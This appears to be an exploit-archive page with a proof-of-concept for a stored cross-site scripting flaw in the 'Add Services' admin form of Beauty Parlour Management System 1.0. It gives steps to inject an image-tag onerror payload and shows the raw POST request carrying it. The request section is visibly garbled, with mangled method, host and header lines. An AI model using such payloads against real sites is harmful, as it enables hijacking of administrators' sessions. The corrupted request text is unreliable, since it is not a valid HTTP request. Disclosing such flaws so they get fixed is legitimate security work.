

Search . Home Files News About Contact &[SERVICES_TAB] Add New

Beauty Parlour Management System 1.0 Cross Site Scripting

Posted Feb 19, 2021 Beauty Parlour Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

Related Files

Share This

LinkedIn Reddit Digg StumbleUpon Like TWEE

Download Change Mirror # Exploit Title: Beauty Parlour Management System 1.0 - 'Add Services' Cross-Site Scripting # Date: 19/2/2021 Date: 19/2/2021
Exploit Author: Thinkland Security Team
Exploit Author: Thinkland Security Team
Vendor Homepage: https://phpgurukul.com/beauty-parlour-management-system-using-php-and-mysql/
Software Link: https://phpgurukul.com/wp-content/uploads/2019/08/Beauty-Parlour-Management-System.zip # Version : V 1.0
Vulnerability Type: Cross-site Scripting
Tested on Windows 10 , XAMPP
This application is vulnerable to cross-site scripting vulnerability.
Vulnerable script: 1.go to http://localhost/bpms/admin/ Sign in.
2.go to http://localhost/bpms/admin/add-services.php, Click on Services — Add Services, Fill in Services name </mg src=1 onerror=alert(/xss/)>, Click on Add.
3.Click on Manage Services, You will see your Javascript code executed. FOST /bpms/admin/add-services.php HTTP/1.1

Host: localhod-services.php HTTP/1.1

Host: localhod: Notine/So (Windows NT 10.0; Win64; 564; rv:85.0) Gecko/20100101 Firefox/85.0

Accept: text/html,application/atml+uml,application/uml;q=0.9; image/webp,+/*;q=0.8

Accept: Exervices.phocoding: gzip. deflate

Content-Type: Purposer of the properties of the pr ername=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E&cost=1&submit=

Login or Register to add favorites





nu11secur1ty 11 files

Google Security Research 8 files Julien Ahrens 4 files T. Weber 4 files

Gentoo 9 files

File Tags File Archives December 2022 Advisory (79,754) Arbitrary (15.694) October 2022 BBS (2.859) September 2022 August 2022 Bypass (1,619) CGI (1,018) July 2022 Code Execution (6,926) June 2022 Conference (673) May 2022 April 2022 Cracker (840) CSRF (3,290) March 2022 DoS (22 602) February 2022 Encryption (2,349) January 2022 Exploit (50,359) Older File Inclusion (4,165) File Upload (946) Systems Firewall (821) AIX (426) Info Disclosure (2,660) Apple (1,926) Intrusion Detection (867) BSD (370) Java (2.899) CentOS (55) JavaScript (821) Cisco (1.917) Kernel (6,291) Debian (6,634) Local (14,201) Magazine (586) FreeBSD (1.242) Gentoo (4.272) Perl (1.418) HPUX (878) PHP (5.093) iOS (330) Proof of Concept (2,291) iPhone (108) Protocol (3,435) IRIX (220) Python (1.467) Juniper (67) Remote (30.044) Linux (44,315) Mac OS X (684) Ruby (594) Mandriva (3.105) Scanner (1.631) Security Tool (7,777) OpenBSD (479) Shell (3,103) RedHat (12,469) Shellcode (1,204) Slackware (941)

Solaris (1,607)

Sniffer (886)

Spoof (2,166) SUSE (1,444) SQL Injection (16,102) Ubuntu (8,199) TCP (2,379) UNIX (9,159) Trojan (686) UnixWare (185) UDP (876) Windows (6,511) Virus (662) Other Vulnerability (31,136) Web (9,365) Whitepaper (3,729)



x86 (946) XSS (17,494)

Site Links About Us

News by Month History & Purpose Contact Information News Tags

Files by Month Terms of Service File Tags
File Directory Privacy Statement

Copyright Information

Hosting By Rokasec

Follow us on Twitter

